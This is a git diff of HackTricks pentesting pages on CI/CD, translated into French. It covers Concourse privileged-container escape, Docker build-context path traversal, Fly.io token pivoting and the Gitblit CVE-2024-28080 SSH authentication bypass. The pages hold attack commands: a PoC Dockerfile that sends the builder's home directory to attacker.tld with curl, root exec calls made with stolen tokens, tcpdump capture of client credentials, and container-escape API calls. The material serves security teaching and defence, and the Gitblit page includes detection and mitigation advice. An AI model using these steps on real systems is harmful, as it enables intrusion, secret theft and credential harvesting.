|
||||
> [!NOTE]
|
||||
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
|
||||
> Dans la section précédente, nous avons vu comment s'échapper d'un conteneur privilégié, donc si nous pouvons **exécuter** des commandes dans un **conteneur privilégié** créé par le **travailleur** **actuel**, nous pourrions **s'échapper vers le nœud**.
|
||||
|
||||
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
|
||||
|
||||
**Getting inside a running privileged container**
|
||||
Notez qu'en jouant avec concourse, j'ai remarqué que lorsqu'un nouveau conteneur est créé pour exécuter quelque chose, les processus du conteneur sont accessibles depuis le conteneur du travailleur, donc c'est comme un conteneur créant un nouveau conteneur à l'intérieur de lui.
|
||||
|
||||
**Entrer dans un conteneur privilégié en cours d'exécution**
|
||||
```bash
|
||||
# Get current container
|
||||
curl 127.0.0.1:7777/containers
|
||||
@@ -391,30 +370,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
|
||||
# Execute a new process inside a container
|
||||
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
|
||||
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
|
||||
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**Créer un nouveau conteneur privilégié**
|
||||
|
||||
**Creating a new privileged container**
|
||||
|
||||
You can very easily create a new container (just run a random UID) and execute something on it:
|
||||
|
||||
Vous pouvez très facilement créer un nouveau conteneur (il suffit d'exécuter un UID aléatoire) et d'exécuter quelque chose dessus :
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
|
||||
# Wget will be stucked there as long as the process is being executed
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
|
||||
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
|
||||
|
||||
Cependant, le serveur web vérifie toutes les quelques secondes les conteneurs en cours d'exécution, et si un conteneur inattendu est découvert, il sera supprimé. Comme la communication se fait en HTTP, vous pourriez altérer la communication pour éviter la suppression de conteneurs inattendus :
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
@@ -436,11 +411,8 @@ Host: 127.0.0.1:7777.
|
||||
User-Agent: Go-http-client/1.1.
|
||||
Accept-Encoding: gzip.
|
||||
```
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,26 +1,23 @@
|
||||
# Concourse Lab Creation
|
||||
# Création de laboratoire Concourse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Testing Environment
|
||||
## Environnement de test
|
||||
|
||||
### Running Concourse
|
||||
### Exécution de Concourse
|
||||
|
||||
#### With Docker-Compose
|
||||
|
||||
This docker-compose file simplifies the installation to do some tests with concourse:
|
||||
#### Avec Docker-Compose
|
||||
|
||||
Ce fichier docker-compose simplifie l'installation pour effectuer des tests avec concourse :
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
Vous pouvez télécharger la ligne de commande `fly` pour votre système d'exploitation depuis le web à `127.0.0.1:8080`
|
||||
|
||||
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
|
||||
|
||||
#### With Kubernetes (Recommended)
|
||||
|
||||
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
#### Avec Kubernetes (Recommandé)
|
||||
|
||||
Vous pouvez facilement déployer concourse dans **Kubernetes** (dans **minikube** par exemple) en utilisant le helm-chart : [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
```bash
|
||||
brew install helm
|
||||
helm repo add concourse https://concourse-charts.storage.googleapis.com/
|
||||
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
|
||||
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
|
||||
|
||||
Après avoir généré l'environnement concourse, vous pourriez générer un secret et donner un accès au SA fonctionnant dans concourse web pour accéder aux secrets K8s :
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: read-secrets
|
||||
name: read-secrets
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
|
||||
---
|
||||
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-secrets-concourse
|
||||
name: read-secrets-concourse
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
|
||||
---
|
||||
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
type: Opaque
|
||||
data:
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
|
||||
' | kubectl apply -f -
|
||||
```
|
||||
### Créer un Pipeline
|
||||
|
||||
### Create Pipeline
|
||||
|
||||
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
|
||||
Un pipeline est composé d'une liste de [Jobs](https://concourse-ci.org/jobs.html) qui contient une liste ordonnée de [Steps](https://concourse-ci.org/steps.html).
|
||||
|
||||
### Steps
|
||||
|
||||
Several different type of steps can be used:
|
||||
Plusieurs types de steps différents peuvent être utilisés :
|
||||
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
|
||||
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
|
||||
- **le** [**`task` step**](https://concourse-ci.org/task-step.html) **exécute une** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- le [`get` step](https://concourse-ci.org/get-step.html) récupère une [resource](https://concourse-ci.org/resources.html)
|
||||
- le [`put` step](https://concourse-ci.org/put-step.html) met à jour une [resource](https://concourse-ci.org/resources.html)
|
||||
- le [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configure un [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- le [`load_var` step](https://concourse-ci.org/load-var-step.html) charge une valeur dans une [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- le [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) exécute des steps en parallèle
|
||||
- le [`do` step](https://concourse-ci.org/do-step.html) exécute des steps en séquence
|
||||
- le [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) exécute un step plusieurs fois ; une fois pour chaque combinaison de valeurs de variables
|
||||
- le [`try` step](https://concourse-ci.org/try-step.html) tente d'exécuter un step et réussit même si le step échoue
|
||||
|
||||
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
|
||||
Chaque [step](https://concourse-ci.org/steps.html) dans un [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) s'exécute dans son **propre conteneur**. Vous pouvez exécuter tout ce que vous voulez à l'intérieur du conteneur _(c'est-à-dire exécuter mes tests, exécuter ce script bash, construire cette image, etc.)_. Donc, si vous avez un job avec cinq steps, Concourse créera cinq conteneurs, un pour chaque step.
|
||||
|
||||
Therefore, it's possible to indicate the type of container each step needs to be run in.
|
||||
|
||||
### Simple Pipeline Example
|
||||
Par conséquent, il est possible d'indiquer le type de conteneur dans lequel chaque step doit être exécuté.
|
||||
|
||||
### Exemple de Pipeline Simple
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -130,25 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
Vérifiez **127.0.0.1:8080** pour voir le flux de la pipeline.
|
||||
|
||||
Check **127.0.0.1:8080** to see the pipeline flow.
|
||||
### Script Bash avec pipeline d'entrée/sortie
|
||||
|
||||
### Bash script with output/input pipeline
|
||||
Il est possible de **sauvegarder les résultats d'une tâche dans un fichier** et d'indiquer que c'est une sortie, puis d'indiquer l'entrée de la tâche suivante comme la sortie de la tâche précédente. Ce que fait concourse, c'est de **monter le répertoire de la tâche précédente dans la nouvelle tâche où vous pouvez accéder aux fichiers créés par la tâche précédente**.
|
||||
|
||||
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
|
||||
### Déclencheurs
|
||||
|
||||
### Triggers
|
||||
Vous n'avez pas besoin de déclencher les jobs manuellement chaque fois que vous devez les exécuter, vous pouvez également les programmer pour qu'ils s'exécutent à chaque fois :
|
||||
|
||||
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
|
||||
- Un certain temps passe : [Time resource](https://github.com/concourse/time-resource/)
|
||||
- Sur de nouveaux commits dans la branche principale : [Git resource](https://github.com/concourse/git-resource)
|
||||
- Nouveaux PR : [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Récupérer ou pousser la dernière image de votre application : [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
|
||||
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
Vérifiez un exemple de pipeline YAML qui se déclenche sur de nouveaux commits dans master à [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
101
src/pentesting-ci-cd/docker-build-context-abuse.md
Normal file
101
src/pentesting-ci-cd/docker-build-context-abuse.md
Normal file
@@ -0,0 +1,101 @@
|
||||
# Abuser du Docker Build Context dans les builders hébergés (Path Traversal, Exfil, and Cloud Pivot)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
Si une plateforme CI/CD ou un hosted builder permet aux contributeurs de spécifier le chemin du Docker build context et le chemin du Dockerfile, vous pouvez souvent définir le contexte sur un répertoire parent (par ex., "..") et inclure des fichiers de l’hôte dans le build context. Ensuite, un Dockerfile contrôlé par l’attaquant peut utiliser COPY et exfiltrate des secrets trouvés dans le home de l’utilisateur du builder (par exemple ~/.docker/config.json). Des registry tokens volés peuvent aussi fonctionner contre les control-plane APIs du fournisseur, permettant un RCE à l’échelle de l’organisation.
|
||||
|
||||
## Surface d'attaque
|
||||
|
||||
Beaucoup de services de hosted builder/registry font grosso modo ceci lors de la construction d’images soumises par des utilisateurs :
|
||||
- Lire une configuration au niveau du repo qui inclut :
|
||||
- build context path (envoyé au Docker daemon)
|
||||
- Dockerfile path relatif à ce contexte
|
||||
- Copier le répertoire du build context indiqué et le Dockerfile vers le Docker daemon
|
||||
- Build l’image et l’exécuter comme service hébergé
|
||||
|
||||
Si la plateforme ne canonise pas et ne restreint pas le build context, un utilisateur peut le définir sur un emplacement en dehors du dépôt (path traversal), faisant en sorte que des fichiers arbitraires de l’hôte lisibles par l’utilisateur de build deviennent partie du build context et disponibles pour COPY dans le Dockerfile.
|
||||
|
||||
Contraintes pratiques couramment observées :
|
||||
- Le Dockerfile doit résider dans le chemin de contexte choisi et son chemin doit être connu à l’avance.
|
||||
- L’utilisateur de build doit avoir un accès en lecture aux fichiers inclus dans le contexte ; des fichiers device spéciaux peuvent casser la copie.
|
||||
|
||||
## PoC: Path traversal via Docker build context
|
||||
|
||||
Exemple de config de serveur malveillant déclarant un Dockerfile dans le contexte du répertoire parent :
|
||||
```yaml
|
||||
runtime: "container"
|
||||
build:
|
||||
dockerfile: "test/Dockerfile" # Must reside inside the final context
|
||||
dockerBuildPath: ".." # Path traversal to builder user $HOME
|
||||
startCommand:
|
||||
type: "http"
|
||||
configSchema:
|
||||
type: "object"
|
||||
properties:
|
||||
apiKey:
|
||||
type: "string"
|
||||
required: ["apiKey"]
|
||||
exampleConfig:
|
||||
apiKey: "sk-example123"
|
||||
```
|
||||
Remarques:
|
||||
- L'utilisation de ".." se résout souvent vers le répertoire home de l’utilisateur builder (p.ex., /home/builder), qui contient typiquement des fichiers sensibles.
|
||||
- Placez votre Dockerfile sous le nom de répertoire du repo (p.ex., repo "test" → test/Dockerfile) afin qu'il reste dans le contexte parent étendu.
|
||||
|
||||
## PoC: Dockerfile pour ingérer et exfiltrer le contexte de l'hôte
|
||||
```dockerfile
|
||||
FROM alpine
|
||||
RUN apk add --no-cache curl
|
||||
RUN mkdir /data
|
||||
COPY . /data # Copies entire build context (now builder’s $HOME)
|
||||
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
|
||||
```
|
||||
Cibles couramment récupérées depuis $HOME :
|
||||
- ~/.docker/config.json (registry auths/tokens)
|
||||
- Autres caches et configs cloud/CLI (p. ex., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
|
||||
|
||||
Astuce : Même avec un .dockerignore dans le dépôt, la sélection de contexte côté plateforme vulnérable détermine toujours ce qui est envoyé au daemon. Si la plateforme copie le chemin choisi vers le daemon avant d'évaluer le .dockerignore de votre repo, des fichiers hôtes peuvent encore être exposés.
|
||||
|
||||
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
|
||||
|
||||
Certaines plateformes émettent un seul bearer token utilisable à la fois pour le container registry et l'API control-plane. Si vous exfiltrez un registry token, essayez-le contre l'API du provider.
|
||||
|
||||
Exemples d'appels API contre Fly.io Machines API en utilisant le token volé depuis ~/.docker/config.json :
|
||||
|
||||
Enumerate apps in an org:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps?org_slug=smithery"
|
||||
```
|
||||
Exécuter une commande en tant que root sur n'importe quelle machine d'une app :
|
||||
```bash
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Résultat : org-wide remote code execution sur toutes les applications hébergées lorsque le token dispose de privilèges suffisants.
|
||||
|
||||
## Vol de secrets depuis des services hébergés compromis
|
||||
|
||||
Avec exec/RCE sur des serveurs hébergés, vous pouvez récolter des secrets fournis par les clients (API keys, tokens) ou monter des prompt-injection attacks. Exemple : installez tcpdump et capturez le trafic HTTP sur le port 8080 pour extraire les inbound credentials.
|
||||
```bash
|
||||
# Install tcpdump inside the machine
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
|
||||
|
||||
# Capture traffic
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Les requêtes capturées contiennent souvent des identifiants client dans les en-têtes, les corps ou les paramètres de requête.
|
||||
|
||||
## Références
|
||||
|
||||
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
|
||||
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@@ -1,12 +1,12 @@
|
||||
# Gitblit Security
|
||||
# Sécurité de Gitblit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Gitblit
|
||||
## Qu'est-ce que Gitblit
|
||||
|
||||
Gitblit is a self‑hosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
|
||||
Gitblit est un serveur Git auto‑hébergé écrit en Java. Il peut fonctionner comme un JAR autonome ou dans des conteneurs servlet et intègre un service SSH embarqué (Apache MINA SSHD) pour Git over SSH.
|
||||
|
||||
## Topics
|
||||
## Sujets
|
||||
|
||||
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
|
||||
|
||||
@@ -14,8 +14,8 @@ Gitblit is a self‑hosted Git server written in Java. It can run as a standalon
|
||||
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [Gitblit project](https://gitblit.com/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,98 +2,94 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
## Résumé
|
||||
|
||||
CVE-2024-28080 is an authentication bypass in Gitblit’s embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that user’s public keys can authenticate without the private key and without the password.
|
||||
CVE-2024-28080 est un contournement d'authentification dans le service SSH embarqué de Gitblit dû à une gestion incorrecte de l'état de session lors de l'intégration avec Apache MINA SSHD. Si un compte utilisateur possède au moins une clé publique SSH enregistrée, un attaquant qui connaît le nom d'utilisateur et l'une des clés publiques de cet utilisateur peut s'authentifier sans la clé privée et sans le mot de passe.
|
||||
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Requirements to exploit:
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
- Affecté : Gitblit < 1.10.0 (observé sur 1.9.3)
|
||||
- Corrigé : 1.10.0
|
||||
- Conditions nécessaires pour exploiter :
|
||||
- Git over SSH activé sur l'instance
|
||||
- Le compte victime a au moins une clé publique SSH enregistrée dans Gitblit
|
||||
- L'attaquant connaît le nom d'utilisateur de la victime et l'une de ses clés publiques (souvent découvrable, p.ex. https://github.com/<username>.keys)
|
||||
|
||||
## Root cause (state leaks between SSH methods)
|
||||
## Cause racine (state leaks between SSH methods)
|
||||
|
||||
In RFC 4252, public‑key authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
|
||||
Dans la RFC 4252, l'authentification par clé‑publique se déroule en deux phases : le serveur vérifie d'abord si une clé publique fournie est acceptable pour un nom d'utilisateur, et ce n'est qu'après un challenge/réponse avec une signature qu'il authentifie l'utilisateur. Dans MINA SSHD, le PublickeyAuthenticator est invoqué deux fois : lors de l'acceptation de la clé (pas encore de signature) et plus tard après que le client renvoie une signature.
|
||||
|
||||
Gitblit’s PublickeyAuthenticator mutated the session context on the first, pre‑signature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and short‑circuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior public‑key "acceptance" for the same user.
|
||||
Le PublickeyAuthenticator de Gitblit a muté le contexte de session lors du premier appel pré‑signature en liant le UserModel authentifié à la session et en retournant true ("key acceptable"). Lorsque l'authentification est ensuite retombée sur le mot de passe, le PasswordAuthenticator s'est fié à cet état de session muté et a court‑circuité, retournant true sans valider le mot de passe. En conséquence, n'importe quel mot de passe (y compris vide) était accepté après une "acceptation" préalable par clé‑publique pour le même utilisateur.
|
||||
|
||||
High‑level flawed flow:
|
||||
Flux défaillant (haut niveau) :
|
||||
|
||||
1) Client offers username + public key (no signature yet)
|
||||
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
|
||||
3) Client cannot sign (no private key), so auth falls back to password
|
||||
4) Password auth sees a user already present in session and unconditionally returns success
|
||||
1) Le client propose nom d'utilisateur + clé publique (pas encore de signature)
|
||||
2) Le serveur reconnaît que la clé appartient à l'utilisateur et attache prématurément l'utilisateur à la session, retourne true ("acceptable")
|
||||
3) Le client ne peut pas signer (pas de clé privée), donc l'authentification retombe sur le mot de passe
|
||||
4) L'authentification par mot de passe voit un utilisateur déjà présent dans la session et renvoie inconditionnellement le succès
|
||||
|
||||
## Step‑by‑step exploitation
|
||||
## Exploitation pas à pas
|
||||
|
||||
- Collect a victim’s username and one of their public keys:
|
||||
- GitHub exposes public keys at https://github.com/<username>.keys
|
||||
- Public servers often expose authorized_keys
|
||||
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the public‑key acceptance path on the server.
|
||||
- Recueillir le nom d'utilisateur d'une victime et l'une de ses clés publiques :
|
||||
- GitHub expose les clés publiques à https://github.com/<username>.keys
|
||||
- Les serveurs publics exposent souvent authorized_keys
|
||||
- Configurer OpenSSH pour ne présenter que la moitié publique afin que la génération de signature échoue, forçant un retour arrière vers le mot de passe tout en déclenchant quand même le chemin d'acceptation par clé‑publique sur le serveur.
|
||||
|
||||
Example SSH client config (no private key available):
|
||||
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
|
||||
Connect and press Enter at the password prompt (or type any string):
|
||||
|
||||
Connectez-vous et appuyez sur Entrée à l'invite du mot de passe (ou tapez n'importe quelle chaîne) :
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
L'authentification réussit parce que la phase précédente de public‑key a muté l'état de session en celui d'un utilisateur authentifié, et password auth fait incorrectement confiance à cet état.
|
||||
|
||||
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
|
||||
|
||||
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
|
||||
Note : Si le ControlMaster multiplexing est activé dans la configuration SSH, les commandes Git suivantes peuvent réutiliser la connexion authentifiée, augmentant l'impact.
|
||||
|
||||
## Impact
|
||||
|
||||
- Full impersonation of any Gitblit user with at least one registered SSH public key
|
||||
- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Potential administrative impact if targeting an admin user
|
||||
- Pure network exploit; no brute force or private key required
|
||||
- Usurpation complète de n'importe quel utilisateur Gitblit disposant d'au moins une SSH public key enregistrée
|
||||
- Accès en lecture/écriture aux repositories selon les permissions de la victime (exfiltration de code source, pushes non autorisés, risques pour la chaîne d'approvisionnement)
|
||||
- Impact administratif possible si un utilisateur admin est ciblé
|
||||
- Exploit purement réseau ; pas de brute force ni de private key requis
|
||||
|
||||
## Detection ideas
|
||||
## Idées de détection
|
||||
|
||||
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
|
||||
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
|
||||
- Passer en revue les logs SSH pour des séquences où une tentative publickey est suivie d'une authentification password réussie avec un mot de passe vide ou très court
|
||||
- Rechercher des flux : la méthode publickey propose un matériel de clé non pris en charge/incompatible suivi d'un succès immédiat de password pour le même nom d'utilisateur
|
||||
|
||||
## Mitigations
|
||||
## Atténuations
|
||||
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Rotate affected user credentials if compromise is suspected
|
||||
- Mettre à jour vers Gitblit v1.10.0+
|
||||
